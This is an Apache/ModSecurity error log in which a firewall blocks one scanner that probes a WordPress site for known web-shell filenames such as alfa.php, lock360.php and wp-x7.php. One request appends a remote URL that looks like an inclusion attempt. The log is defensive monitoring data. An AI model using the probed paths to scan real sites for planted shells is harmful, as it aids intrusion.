[Tue Nov 25 20:03:51.263778 2025] [:error] [pid 28740:tid 28792] [client 20.196.125.130:30589] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWbJ1ppQCoYxWW6V0WL0wAAAkE"]
[Tue Nov 25 20:03:51.635723 2025] [:error] [pid 2987:tid 3005] [client 20.196.125.130:30650] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWbJ8-djEt-pTzPxnyqEAAAAVA"]
[Tue Nov 25 20:03:52.045077 2025] [:error] [pid 28609:tid 28625] [client 20.196.125.130:30634] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aSWbKCGGdT-nZJVs3x3KvgAAAYc"]
[Tue Nov 25 20:03:52.391067 2025] [:error] [pid 28609:tid 28642] [client 20.196.125.130:30535] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aSWbKCGGdT-nZJVs3x3KwAAAAZg"]
[Tue Nov 25 20:03:52.775132 2025] [:error] [pid 2987:tid 3001] [client 20.196.125.130:30539] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aSWbKM-djEt-pTzPxnyqEgAAAUw"]
[Tue Nov 25 20:03:53.103982 2025] [:error] [pid 2987:tid 2998] [client 20.196.125.130:30571] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/admin-post.php"] [unique_id "aSWbKc-djEt-pTzPxnyqEwAAAUk"]
[Tue Nov 25 20:03:53.521902 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30558] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aSWbKXsB4Gz6Qw-pvBsd8QAAAAY"]
[Tue Nov 25 20:03:53.926647 2025] [:error] [pid 2987:tid 2991] [client 20.196.125.130:30559] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aSWbKc-djEt-pTzPxnyqGAAAAUI"]
[Tue Nov 25 20:03:54.298632 2025] [:error] [pid 28609:tid 28633] [client 20.196.125.130:30643] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aSWbKiGGdT-nZJVs3x3KwwAAAY8"]
[Tue Nov 25 20:03:54.839660 2025] [:error] [pid 28842:tid 29000] [client 20.196.125.130:30576] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aSWbKtNmoaPf6T4-6C2dywAAA0o"]
[Tue Nov 25 20:03:55.340906 2025] [:error] [pid 14077:tid 14111] [client 20.196.125.130:30551] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aSWbKxG9n7UHEkwDTyigWwAAAEE"]
[Tue Nov 25 20:03:55.745756 2025] [:error] [pid 2987:tid 3008] [client 20.196.125.130:30554] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aSWbK8-djEt-pTzPxnyqHgAAAVM"]
[Tue Nov 25 20:03:56.050159 2025] [:error] [pid 14168:tid 14195] [client 20.196.125.130:30639] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aSWbLPR-ZDU0QEgAIIttcAAAANg"]
[Tue Nov 25 20:03:56.635989 2025] [:error] [pid 2987:tid 2989] [client 20.196.125.130:30542] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/includes/xmrlpc.php"] [unique_id "aSWbLM-djEt-pTzPxnyqIAAAAUA"]
[Tue Nov 25 20:03:57.022481 2025] [:error] [pid 2987:tid 2998] [client 20.196.125.130:30593] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWbLc-djEt-pTzPxnyqIQAAAUk"]
[Tue Nov 25 20:03:57.838494 2025] [:error] [pid 14077:tid 14129] [client 20.196.125.130:30629] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWbLRG9n7UHEkwDTyigagAAAFM"]
[Tue Nov 25 20:03:58.223050 2025] [:error] [pid 14078:tid 14139] [client 20.196.125.130:30564] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWbLtVXYbb0ii_rVoJOFgAAAII"]
[Tue Nov 25 20:03:58.626761 2025] [:error] [pid 14078:tid 14147] [client 20.196.125.130:30706] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aSWbLtVXYbb0ii_rVoJOGAAAAIo"]
[Tue Nov 25 20:03:59.033371 2025] [:error] [pid 14077:tid 14124] [client 20.196.125.130:30599] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aSWbLxG9n7UHEkwDTyigcgAAAE4"]
[Tue Nov 25 20:03:59.362004 2025] [:error] [pid 2987:tid 3008] [client 20.196.125.130:30692] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aSWbL8-djEt-pTzPxnyqKwAAAVM"]
[Tue Nov 25 20:03:59.755899 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30500] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aSWbL9NmoaPf6T4-6C2d1wAAA1A"]
[Tue Nov 25 20:04:00.267499 2025] [:error] [pid 28836:tid 28965] [client 20.196.125.130:30529] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cong.php"] [unique_id "aSWbMJwNRsoxcLQGkTfKOgAAAso"]
[Tue Nov 25 20:04:01.036780 2025] [:error] [pid 28842:tid 29018] [client 20.196.125.130:30534] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aSWbMdNmoaPf6T4-6C2d2QAAA1E"]
[Tue Nov 25 20:04:01.452002 2025] [:error] [pid 28609:tid 28623] [client 20.196.125.130:30540] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aSWbMSGGdT-nZJVs3x3K0AAAAYU"]
[Tue Nov 25 20:04:01.817188 2025] [:error] [pid 14168:tid 14182] [client 20.196.125.130:30544] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aSWbMfR-ZDU0QEgAIItteQAAAMs"]
[Tue Nov 25 20:04:02.299830 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30584] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/123.php"] [unique_id "aSWbMiGGdT-nZJVs3x3K0QAAAY4"]
[Tue Nov 25 20:04:02.702918 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30517] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aSWbMtNmoaPf6T4-6C2d3gAAA1g"]
[Tue Nov 25 20:04:03.040023 2025] [:error] [pid 28836:tid 28964] [client 20.196.125.130:30574] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aSWbM5wNRsoxcLQGkTfKPQAAAsk"]
[Tue Nov 25 20:04:03.361192 2025] [:error] [pid 2987:tid 3011] [client 20.196.125.130:30466] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aSWbM8-djEt-pTzPxnyqNQAAAVY"]
[Tue Nov 25 20:04:03.712971 2025] [:error] [pid 28740:tid 28797] [client 20.196.125.130:30541] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aSWbM1ppQCoYxWW6V0WL4wAAAkY"]
[Tue Nov 25 20:04:04.033998 2025] [:error] [pid 28740:tid 28804] [client 20.196.125.130:30711] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "aSWbNFppQCoYxWW6V0WL5AAAAk0"]
[Tue Nov 25 20:04:04.346306 2025] [:error] [pid 28836:tid 29009] [client 20.196.125.130:30543] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "aSWbNJwNRsoxcLQGkTfKQQAAAtM"]
[Tue Nov 25 20:04:04.689678 2025] [:error] [pid 14078:tid 14157] [client 20.196.125.130:30649] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "aSWbNNVXYbb0ii_rVoJOKQAAAJQ"]
[Tue Nov 25 20:04:05.003954 2025] [:error] [pid 14168:tid 14189] [client 20.196.125.130:30480] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colour.php"] [unique_id "aSWbNfR-ZDU0QEgAIIttgAAAANI"]
[Tue Nov 25 20:04:05.333711 2025] [:error] [pid 14078:tid 14158] [client 20.196.125.130:30545] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aSWbNdVXYbb0ii_rVoJOKgAAAJU"]
[Tue Nov 25 20:04:05.721185 2025] [:error] [pid 14078:tid 14161] [client 20.196.125.130:30640] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aSWbNdVXYbb0ii_rVoJOKwAAAJg"]
[Tue Nov 25 20:04:06.028580 2025] [:error] [pid 28740:tid 28811] [client 20.196.125.130:30479] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aSWbNlppQCoYxWW6V0WL6AAAAlQ"]
[Tue Nov 25 20:04:06.346683 2025] [:error] [pid 14077:tid 14130] [client 20.196.125.130:30470] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/NewFile.php"] [unique_id "aSWbNhG9n7UHEkwDTyigjgAAAFQ"]
[Tue Nov 25 20:04:06.844232 2025] [:error] [pid 28842:tid 29026] [client 20.196.125.130:30573] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "aSWbNtNmoaPf6T4-6C2d8AAAA1g"]
[Tue Nov 25 20:04:07.168665 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30563] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "aSWbNxG9n7UHEkwDTyigkwAAAEc"]
[Tue Nov 25 20:04:07.535659 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30477] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "aSWbN8-djEt-pTzPxnyqTQAAAVI"]
[Tue Nov 25 20:04:07.868196 2025] [:error] [pid 14168:tid 14192] [client 20.196.125.130:30714] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-x7.php"] [unique_id "aSWbN_R-ZDU0QEgAIItthQAAANU"]
[Tue Nov 25 20:04:08.188852 2025] [:error] [pid 14077:tid 14130] [client 20.196.125.130:30546] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aSWbOBG9n7UHEkwDTyigngAAAFQ"]
[Tue Nov 25 20:04:08.706100 2025] [:error] [pid 28609:tid 28620] [client 20.196.125.130:30588] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aSWbOCGGdT-nZJVs3x3K3wAAAYI"]
[Tue Nov 25 20:04:09.017262 2025] [:error] [pid 28836:tid 29010] [client 20.196.125.130:30567] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aSWbOZwNRsoxcLQGkTfKSgAAAtQ"]
[Tue Nov 25 20:04:09.406275 2025] [:error] [pid 14168:tid 14174] [client 20.196.125.130:30473] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aSWbOfR-ZDU0QEgAIIttiQAAAMM"]
[Tue Nov 25 20:04:09.734687 2025] [:error] [pid 28740:tid 28812] [client 20.196.125.130:30585] [client 20.196.125.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSWbOVppQCoYxWW6V0WL8gAAAlU"]
[Tue Nov 25 20:04:10.036621 2025] [:error] [pid 14076:tid 14093] [client 20.196.125.130:30569] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "aSWbOnsB4Gz6Qw-pvBseHgAAAAw"]
[Tue Nov 25 20:04:10.337774 2025] [:error] [pid 14078:tid 14161] [client 20.196.125.130:30494] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "aSWbOtVXYbb0ii_rVoJOOAAAAJg"]
[Tue Nov 25 20:04:10.733880 2025] [:error] [pid 14076:tid 14086] [client 20.196.125.130:30715] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/555.php"] [unique_id "aSWbOnsB4Gz6Qw-pvBseIgAAAAU"]
[Tue Nov 25 20:04:11.208976 2025] [:error] [pid 14078:tid 14137] [client 20.196.125.130:30557] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aSWbO9VXYbb0ii_rVoJOPAAAAIA"]
[Tue Nov 25 20:04:11.687507 2025] [:error] [pid 14077:tid 14127] [client 20.196.125.130:30485] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aSWbOxG9n7UHEkwDTyigqgAAAFE"]
[Tue Nov 25 20:04:12.033165 2025] [:error] [pid 14077:tid 14110] [client 20.196.125.130:30490] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aSWbPBG9n7UHEkwDTyigrAAAAEA"]
[Tue Nov 25 20:04:12.405687 2025] [:error] [pid 28842:tid 28997] [client 20.196.125.130:30499] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.phphttps://robertatimothy.com/wp-content/packed.php"] [unique_id "aSWbPNNmoaPf6T4-6C2eBAAAA0c"]
[Tue Nov 25 20:04:13.160871 2025] [:error] [pid 14078:tid 14150] [client 20.196.125.130:30478] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AxAo.php"] [unique_id "aSWbPdVXYbb0ii_rVoJOQwAAAI0"]
[Tue Nov 25 20:04:13.473053 2025] [:error] [pid 14076:tid 14100] [client 20.196.125.130:30475] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/AxAo.php"] [unique_id "aSWbPXsB4Gz6Qw-pvBseJgAAABM"]
